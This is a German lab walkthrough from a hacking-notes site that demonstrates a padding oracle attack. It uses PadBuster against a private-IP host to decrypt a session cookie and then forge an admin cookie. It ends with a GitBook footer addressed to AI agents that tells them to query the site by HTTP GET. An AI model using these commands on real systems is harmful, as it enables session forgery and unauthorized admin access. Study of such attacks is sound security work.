> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md).

# Padding-Oracle-Techniken

Los **einen Benutzer erstellen** auf der Website:

<figure><img src="/files/b2b9aa293c6cfeaacc1a95a59bca693e1a719e98" alt="" width="563"><figcaption></figcaption></figure>

Hier ist der **Session-Cookie** das fragmentiert ist und das wir versuchen zu **entschlüsseln**:

<figure><img src="/files/5051d6d99bc35811a4e3c67c86ec2393a507171a" alt=""><figcaption></figcaption></figure>

Mit dem Werkzeug **PadBuster**, senden wir den Link mit dem Session-Cookie und seinem Namen wie folgt:

```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard'

```

Es gibt die Werte des Cookies und **Klartext**:

<figure><img src="/files/0d5b8a82f6d69fe63773bd0bde7ea60a2098bc00" alt="" width="563"><figcaption></figcaption></figure>

Wenn wir stattdessen setzen **user=jordan**, verschlüsseln wir es als **user=admin**, das gibt uns das Admin-Session-Cookie, falls es existiert. Mit **PadBuster**, senden wir den Befehl erneut, aber diesmal verwenden wir **-plaintext** weil wir den Klartext kennen, den wir mit demselben verschlüsseln wollen **Orakel**:

```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard' -plaintext 'user=admin'

```

Es gibt uns das Session-Cookie **admin**:

<figure><img src="/files/24528686f8b29d8bb48e64dec0b30067790f3b7e" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
